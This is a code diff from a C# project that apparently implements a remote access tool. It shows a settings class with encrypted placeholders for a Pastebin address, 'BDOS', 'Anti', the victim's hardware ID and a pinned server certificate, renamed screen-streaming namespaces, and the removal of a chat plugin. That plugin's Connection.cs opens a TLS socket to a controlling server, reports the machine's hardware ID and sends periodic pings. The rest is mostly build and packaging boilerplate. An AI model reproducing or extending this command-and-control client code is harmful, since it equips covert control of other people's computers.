||||
@ -26,9 +25,6 @@ namespace Client
|
||||
public static Aes256 aes256 = new Aes256(Key);
|
||||
public static string Pastebin = "null";
|
||||
public static string BDOS = "false";
|
||||
public static string Hwid = HwidGen.HWID();
|
||||
public static string Delay = "0";
|
||||
public static string Group = "Debug";
|
||||
|
||||
#else
|
||||
public static string Ports = "%Ports%";
|
||||
@ -46,9 +42,6 @@ namespace Client
|
||||
public static Aes256 aes256;
|
||||
public static string Pastebin = "%Pastebin%";
|
||||
public static string BDOS = "%BDOS%";
|
||||
public static string Hwid = null;
|
||||
public static string Delay = "%Delay%";
|
||||
public static string Group = "%Group%";
|
||||
#endif
|
||||
|
||||
|
||||
@ -69,8 +62,6 @@ namespace Client
|
||||
Pastebin = aes256.Decrypt(Pastebin);
|
||||
Anti = aes256.Decrypt(Anti);
|
||||
BDOS = aes256.Decrypt(BDOS);
|
||||
Group = aes256.Decrypt(Group);
|
||||
Hwid = HwidGen.HWID();
|
||||
Serversignature = aes256.Decrypt(Serversignature);
|
||||
ServerCertificate = new X509Certificate2(Convert.FromBase64String(aes256.Decrypt(Certificate)));
|
||||
return VerifyHash();
|
||||
|
@ -1,4 +1,4 @@
|
||||
namespace Plugin.StreamLibrary
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public enum CodecOption
|
||||
{
|
@ -1,10 +1,10 @@
|
||||
using Plugin.StreamLibrary.src;
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Plugin.StreamLibrary
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IUnsafeCodec
|
||||
{
|
@ -1,11 +1,11 @@
|
||||
using Plugin.StreamLibrary.src;
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.StreamLibrary
|
||||
namespace Client.StreamLibrary
|
||||
{
|
||||
public abstract class IVideoCodec
|
||||
{
|
@ -1,4 +1,4 @@
|
||||
using Plugin.StreamLibrary.src;
|
||||
using Client.StreamLibrary.src;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
@ -6,7 +6,7 @@ using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Text;
|
||||
|
||||
namespace Plugin.StreamLibrary.UnsafeCodecs
|
||||
namespace Client.StreamLibrary.UnsafeCodecs
|
||||
{
|
||||
public class UnsafeStreamCodec : IUnsafeCodec
|
||||
{
|
@ -2,7 +2,7 @@
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Plugin.StreamLibrary.src
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class JpgCompression
|
||||
{
|
@ -2,7 +2,7 @@
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
|
||||
namespace Plugin.StreamLibrary.src
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class LzwCompression
|
||||
{
|
@ -1,7 +1,7 @@
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace Plugin.StreamLibrary.src
|
||||
namespace Client.StreamLibrary.src
|
||||
{
|
||||
public class NativeMethods
|
||||
{
|
@ -1,28 +0,0 @@
|
||||
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
|
||||
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
|
||||
<security>
|
||||
<requestedPrivileges>
|
||||
<requestedExecutionLevel level="asInvoker" uiAccess="false" />
|
||||
</requestedPrivileges>
|
||||
</security>
|
||||
</trustInfo>
|
||||
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
|
||||
<application>
|
||||
<!-- Windows Vista -->
|
||||
<supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
|
||||
<!-- Windows 7 -->
|
||||
<supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
|
||||
<!-- Windows 8 -->
|
||||
<supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
|
||||
<!-- Windows 8.1 -->
|
||||
<supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
|
||||
<!-- Windows 10 -->
|
||||
<supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
|
||||
</application>
|
||||
</compatibility>
|
||||
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3" >
|
||||
<asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
|
||||
<dpiAware>true</dpiAware>
|
||||
</asmv3:windowsSettings>
|
||||
</asmv3:application>
|
||||
</assembly>
|
@ -1,5 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<packages>
|
||||
<package id="ILMerge" version="3.0.29" targetFramework="net40-client" />
|
||||
<package id="MSBuild.ILMerge.Task" version="1.1.3" targetFramework="net40-client" />
|
||||
</packages>
|
@ -1,45 +0,0 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
|
||||
namespace MessagePackLib.MessagePack
|
||||
{
|
||||
public static class Zip
|
||||
{
|
||||
public static byte[] Decompress(byte[] input)
|
||||
{
|
||||
using (var source = new MemoryStream(input))
|
||||
{
|
||||
byte[] lengthBytes = new byte[4];
|
||||
source.Read(lengthBytes, 0, 4);
|
||||
|
||||
var length = BitConverter.ToInt32(lengthBytes, 0);
|
||||
using (var decompressionStream = new GZipStream(source,
|
||||
CompressionMode.Decompress))
|
||||
{
|
||||
var result = new byte[length];
|
||||
decompressionStream.Read(result, 0, length);
|
||||
return result;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static byte[] Compress(byte[] input)
|
||||
{
|
||||
using (var result = new MemoryStream())
|
||||
{
|
||||
var lengthBytes = BitConverter.GetBytes(input.Length);
|
||||
result.Write(lengthBytes, 0, 4);
|
||||
|
||||
using (var compressionStream = new GZipStream(result,
|
||||
CompressionMode.Compress))
|
||||
{
|
||||
compressionStream.Write(input, 0, input.Length);
|
||||
compressionStream.Flush();
|
||||
|
||||
}
|
||||
return result.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
@ -1,52 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>MessagePackLib</RootNamespace>
|
||||
<AssemblyName>MessagePackLib</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>bin\Debug\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>bin\Release\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="MessagePack\BytesTools.cs" />
|
||||
<Compile Include="MessagePack\MsgPack.cs" />
|
||||
<Compile Include="MessagePack\MsgPackType.cs" />
|
||||
<Compile Include="MessagePack\ReadTools.cs" />
|
||||
<Compile Include="MessagePack\WriteTools.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="MessagePack\Zip.cs" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
</Project>
|
@ -1,35 +0,0 @@
|
||||
using System.Reflection;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
// General Information about an assembly is controlled through the following
|
||||
// set of attributes. Change these attribute values to modify the information
|
||||
// associated with an assembly.
|
||||
[assembly: AssemblyTitle("")]
|
||||
[assembly: AssemblyDescription("")]
|
||||
[assembly: AssemblyConfiguration("")]
|
||||
[assembly: AssemblyCompany("")]
|
||||
[assembly: AssemblyProduct("")]
|
||||
[assembly: AssemblyCopyright("")]
|
||||
[assembly: AssemblyTrademark("")]
|
||||
[assembly: AssemblyCulture("")]
|
||||
|
||||
// Setting ComVisible to false makes the types in this assembly not visible
|
||||
// to COM components. If you need to access a type in this assembly from
|
||||
// COM, set the ComVisible attribute to true on that type.
|
||||
[assembly: ComVisible(false)]
|
||||
|
||||
// The following GUID is for the ID of the typelib if this project is exposed to COM
|
||||
|
||||
// Version information for an assembly consists of the following four values:
|
||||
//
|
||||
// Major Version
|
||||
// Minor Version
|
||||
// Build Number
|
||||
// Revision
|
||||
//
|
||||
// You can specify all the values or you can default the Build and Revision Numbers
|
||||
// by using the '*' as shown below:
|
||||
// [assembly: AssemblyVersion("1.0.*")]
|
||||
[assembly: AssemblyVersion("1.0.0.0")]
|
||||
[assembly: AssemblyFileVersion("1.0.0.0")]
|
@ -1,25 +0,0 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.29123.88
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "Chat", "Chat\Chat.csproj", "{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {EF9C58BD-EA3A-4488-A8CD-871D19820CE4}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
@ -1,88 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" />
|
||||
<Import Project="..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props" Condition="Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" />
|
||||
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
|
||||
<PropertyGroup>
|
||||
<Configuration Condition=" '$(Configuration)' == '' ">Debug</Configuration>
|
||||
<Platform Condition=" '$(Platform)' == '' ">AnyCPU</Platform>
|
||||
<ProjectGuid>{EE03FAA9-C9E8-4766-BD4E-5CD54C7F13D3}</ProjectGuid>
|
||||
<OutputType>Library</OutputType>
|
||||
<AppDesignerFolder>Properties</AppDesignerFolder>
|
||||
<RootNamespace>Plugin</RootNamespace>
|
||||
<AssemblyName>Chat</AssemblyName>
|
||||
<TargetFrameworkVersion>v4.0</TargetFrameworkVersion>
|
||||
<FileAlignment>512</FileAlignment>
|
||||
<Deterministic>true</Deterministic>
|
||||
<NuGetPackageImportStamp>
|
||||
</NuGetPackageImportStamp>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Debug|AnyCPU' ">
|
||||
<DebugSymbols>true</DebugSymbols>
|
||||
<DebugType>full</DebugType>
|
||||
<Optimize>false</Optimize>
|
||||
<OutputPath>..\..\..\Binaries\Debug\Plugins\</OutputPath>
|
||||
<DefineConstants>DEBUG;TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
|
||||
<DebugType>none</DebugType>
|
||||
<Optimize>true</Optimize>
|
||||
<OutputPath>..\..\..\Binaries\Release\Plugins\</OutputPath>
|
||||
<DefineConstants>TRACE</DefineConstants>
|
||||
<ErrorReport>prompt</ErrorReport>
|
||||
<WarningLevel>4</WarningLevel>
|
||||
</PropertyGroup>
|
||||
<ItemGroup>
|
||||
<Reference Include="System" />
|
||||
<Reference Include="System.Core" />
|
||||
<Reference Include="System.Drawing" />
|
||||
<Reference Include="System.Windows.Forms" />
|
||||
<Reference Include="System.Xml.Linq" />
|
||||
<Reference Include="System.Data.DataSetExtensions" />
|
||||
<Reference Include="Microsoft.CSharp" />
|
||||
<Reference Include="System.Data" />
|
||||
<Reference Include="System.Xml" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Compile Include="Connection.cs" />
|
||||
<Compile Include="FormChat.cs">
|
||||
<SubType>Form</SubType>
|
||||
</Compile>
|
||||
<Compile Include="FormChat.Designer.cs">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</Compile>
|
||||
<Compile Include="Packet.cs" />
|
||||
<Compile Include="Plugin.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<EmbeddedResource Include="FormChat.resx">
|
||||
<DependentUpon>FormChat.cs</DependentUpon>
|
||||
</EmbeddedResource>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ProjectReference Include="..\..\..\MessagePack\MessagePackLib.csproj">
|
||||
<Project>{DC199D9E-CF10-41DD-BBCD-98E71BA8679D}</Project>
|
||||
<Name>MessagePackLib</Name>
|
||||
</ProjectReference>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="ILMerge.props" />
|
||||
<None Include="packages.config" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Content Include="ILMergeOrder.txt" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(MSBuildToolsPath)\Microsoft.CSharp.targets" />
|
||||
<Target Name="EnsureNuGetPackageBuildImports" BeforeTargets="PrepareForBuild">
|
||||
<PropertyGroup>
|
||||
<ErrorText>This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}.</ErrorText>
|
||||
</PropertyGroup>
|
||||
<Error Condition="!Exists('..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\ILMerge.3.0.29\build\ILMerge.props'))" />
|
||||
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.props'))" />
|
||||
<Error Condition="!Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" Text="$([System.String]::Format('$(ErrorText)', '..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets'))" />
|
||||
</Target>
|
||||
<Import Project="..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets" Condition="Exists('..\..\..\packages\MSBuild.ILMerge.Task.1.1.3\build\MSBuild.ILMerge.Task.targets')" />
|
||||
</Project>
|
@ -1,225 +0,0 @@
|
||||
using MessagePackLib.MessagePack;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Net.Security;
|
||||
using System.Net.Sockets;
|
||||
using System.Security.Authentication;
|
||||
using System.Security.Cryptography.X509Certificates;
|
||||
using System.Text;
|
||||
using System.Threading;
|
||||
|
||||
namespace Plugin
|
||||
{
|
||||
public static class Connection
|
||||
{
|
||||
public static Socket TcpClient { get; set; }
|
||||
public static SslStream SslClient { get; set; }
|
||||
public static X509Certificate2 ServerCertificate { get; set; }
|
||||
private static byte[] Buffer { get; set; }
|
||||
private static long HeaderSize { get; set; }
|
||||
private static long Offset { get; set; }
|
||||
private static Timer Tick { get; set; }
|
||||
public static bool IsConnected { get; set; }
|
||||
private static object SendSync { get; } = new object();
|
||||
public static string Hwid { get; set; }
|
||||
|
||||
public static void InitializeClient()
|
||||
{
|
||||
try
|
||||
{
|
||||
|
||||
TcpClient = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
|
||||
{
|
||||
ReceiveBufferSize = 50 * 1024,
|
||||
SendBufferSize = 50 * 1024,
|
||||
};
|
||||
|
||||
TcpClient.Connect(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(Plugin.Socket.RemoteEndPoint.ToString().Split(':')[1]));
|
||||
if (TcpClient.Connected)
|
||||
{
|
||||
Debug.WriteLine("Plugin Connected!");
|
||||
IsConnected = true;
|
||||
SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
|
||||
SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
|
||||
SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null);
|
||||
|
||||
new Thread(() =>
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "chat-";
|
||||
msgpack.ForcePathObject("Hwid").AsString = Hwid;
|
||||
Send(msgpack.Encode2Bytes());
|
||||
new HandlerChat().CreateChat();
|
||||
}).Start();
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
Debug.WriteLine("Disconnected!");
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
private static bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors)
|
||||
{
|
||||
#if DEBUG
|
||||
return true;
|
||||
#endif
|
||||
return ServerCertificate.Equals(certificate);
|
||||
}
|
||||
|
||||
public static void Disconnected()
|
||||
{
|
||||
|
||||
try
|
||||
{
|
||||
IsConnected = false;
|
||||
Tick?.Dispose();
|
||||
SslClient?.Dispose();
|
||||
TcpClient?.Dispose();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
public static void ReadServertData(IAsyncResult ar) //Socket read/recevie
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!TcpClient.Connected || !IsConnected)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
int recevied = SslClient.EndRead(ar);
|
||||
if (recevied > 0)
|
||||
{
|
||||
Offset += recevied;
|
||||
HeaderSize -= recevied;
|
||||
if (HeaderSize == 0)
|
||||
{
|
||||
HeaderSize = BitConverter.ToInt32(Buffer, 0);
|
||||
Debug.WriteLine("/// Plugin Buffersize " + HeaderSize.ToString() + " Bytes ///");
|
||||
if (HeaderSize > 0)
|
||||
{
|
||||
Offset = 0;
|
||||
Buffer = new byte[HeaderSize];
|
||||
while (HeaderSize > 0)
|
||||
{
|
||||
int rc = SslClient.Read(Buffer, (int)Offset, (int)HeaderSize);
|
||||
if (rc <= 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
Offset += rc;
|
||||
HeaderSize -= rc;
|
||||
if (HeaderSize < 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
Thread thread = new Thread(new ParameterizedThreadStart(Packet.Read));
|
||||
thread.Start(Buffer);
|
||||
Offset = 0;
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
}
|
||||
else
|
||||
{
|
||||
HeaderSize = 4;
|
||||
Buffer = new byte[HeaderSize];
|
||||
Offset = 0;
|
||||
}
|
||||
}
|
||||
else if (HeaderSize < 0)
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
SslClient.BeginRead(Buffer, (int)Offset, (int)HeaderSize, ReadServertData, null);
|
||||
}
|
||||
else
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
public static void Send(byte[] msg)
|
||||
{
|
||||
lock (SendSync)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (!IsConnected || msg == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
|
||||
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(buffersize, 0, buffersize.Length);
|
||||
|
||||
if (msg.Length > 1000000) //1mb
|
||||
{
|
||||
Debug.WriteLine("send chunks");
|
||||
using (MemoryStream memoryStream = new MemoryStream(msg))
|
||||
{
|
||||
int read = 0;
|
||||
memoryStream.Position = 0;
|
||||
byte[] chunk = new byte[50 * 1000];
|
||||
while ((read = memoryStream.Read(chunk, 0, chunk.Length)) > 0)
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(chunk, 0, read);
|
||||
SslClient.Flush();
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||
SslClient.Write(msg, 0, msg.Length);
|
||||
SslClient.Flush();
|
||||
}
|
||||
Debug.WriteLine("Plugin Packet Sent");
|
||||
}
|
||||
catch
|
||||
{
|
||||
IsConnected = false;
|
||||
return;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public static void CheckServer(object obj)
|
||||
{
|
||||
MsgPack msgpack = new MsgPack();
|
||||
msgpack.ForcePathObject("Packet").AsString = "Ping!)";
|
||||
Send(msgpack.Encode2Bytes());
|
||||
GC.Collect();
|
||||
}
|
||||
|
||||
}
|
||||
}
|
@ -1,67 +0,0 @@
|
||||
<?xml version="1.0" encoding="utf-8" ?>
|
||||
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup>
|
||||
<!-- -->
|
||||
<!-- ILMerge project-specific settings. Almost never need to be set explicitly. -->
|
||||
<!-- for details, see http://research.microsoft.com/en-us/people/mbarnett/ilmerge.aspx -->
|
||||
<!-- -->
|
||||
<!-- *** set this file to Type=None, CopyToOutput=Never *** -->
|
||||
|
||||
<!-- If True, all copy local dependencies will also be merged from referenced projects whether they are referenced in the current project explicitly or not -->
|
||||
<ILMergeTransitive>true</ILMergeTransitive>
|
||||
|
||||
<!-- Extra ILMerge library paths (semicolon-separated). Dont put your package dependencies here, they will be added automagically -->
|
||||
<ILMergeLibraryPath></ILMergeLibraryPath>
|
||||
|
||||
<!-- The solution NuGet package directory if not standard 'SOLUTION\packages' -->
|
||||
<ILMergePackagesPath></ILMergePackagesPath>
|
||||
|
||||
<!-- The merge order file name if differs from standard 'ILMergeOrder.txt' -->
|
||||
<ILMergeOrderFile></ILMergeOrderFile>
|
||||
|
||||
<!-- The strong key file name if not specified in the project -->
|
||||
<ILMergeKeyFile></ILMergeKeyFile>
|
||||
|
||||
<!-- The assembly version if differs for the version of the main assembly -->
|
||||
<ILMergeAssemblyVersion></ILMergeAssemblyVersion>
|
||||
|
||||
<!-- added in Version 1.0.4 -->
|
||||
<ILMergeFileAlignment></ILMergeFileAlignment>
|
||||
|
||||
<!-- added in Version 1.0.4, default=none -->
|
||||
<ILMergeAllowDuplicateType></ILMergeAllowDuplicateType>
|
||||
|
||||
<!-- If the <see cref="CopyAttributes"/> is also set, any assembly-level attributes names that have the same type are copied over into the target assembly -->
|
||||
<ILMergeAllowMultipleAssemblyLevelAttributes></ILMergeAllowMultipleAssemblyLevelAttributes>
|
||||
|
||||
<!-- See ILMerge documentation -->
|
||||
<ILMergeAllowZeroPeKind></ILMergeAllowZeroPeKind>
|
||||
|
||||
<!-- The assembly level attributes of each input assembly are copied over into the target assembly -->
|
||||
<ILMergeCopyAttributes></ILMergeCopyAttributes>
|
||||
|
||||
<!-- Creates a .pdb file for the output assembly and merges into it any .pdb files found for input assemblies, default=true -->
|
||||
<ILMergeDebugInfo>false</ILMergeDebugInfo>
|
||||
|
||||
<!-- Target assembly will be delay signed -->
|
||||
<ILMergeDelaySign></ILMergeDelaySign>
|
||||
|
||||
<!-- Types in assemblies other than the primary assembly have their visibility modified -->
|
||||
<ILMergeInternalize></ILMergeInternalize>
|
||||
|
||||
<!-- The path name of the file that will be used to identify types that are not to have their visibility modified -->
|
||||
<ILMergeInternalizeExcludeFile></ILMergeInternalizeExcludeFile>
|
||||
|
||||
<!-- XML documentation files are merged to produce an XML documentation file for the target assembly -->
|
||||
<ILMergeXmlDocumentation></ILMergeXmlDocumentation>
|
||||
|
||||
<!-- External assembly references in the manifest of the target assembly will use full public keys (false) or public key tokens (true, default value) -->
|
||||
<ILMergePublicKeyTokens></ILMergePublicKeyTokens>
|
||||
|
||||
<!-- Types with the same name are all merged into a single type in the target assembly -->
|
||||
<ILMergeUnionMerge></ILMergeUnionMerge>
|
||||
|
||||
<!-- The version of the target framework, default 40 (works for 45 too) -->
|
||||
<ILTargetPlatform></ILTargetPlatform>
|
||||
</PropertyGroup>
|
||||
</Project>
|
@ -1,4 +0,0 @@
|
||||
# this file contains the partial list of the merged assemblies in the merge order
|
||||
# you can fill it from the obj\CONFIG\PROJECT.ilmerge generated on every build
|
||||
# and finetune merge order to your satisfaction
|
||||
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
x
Reference in New Issue
Block a user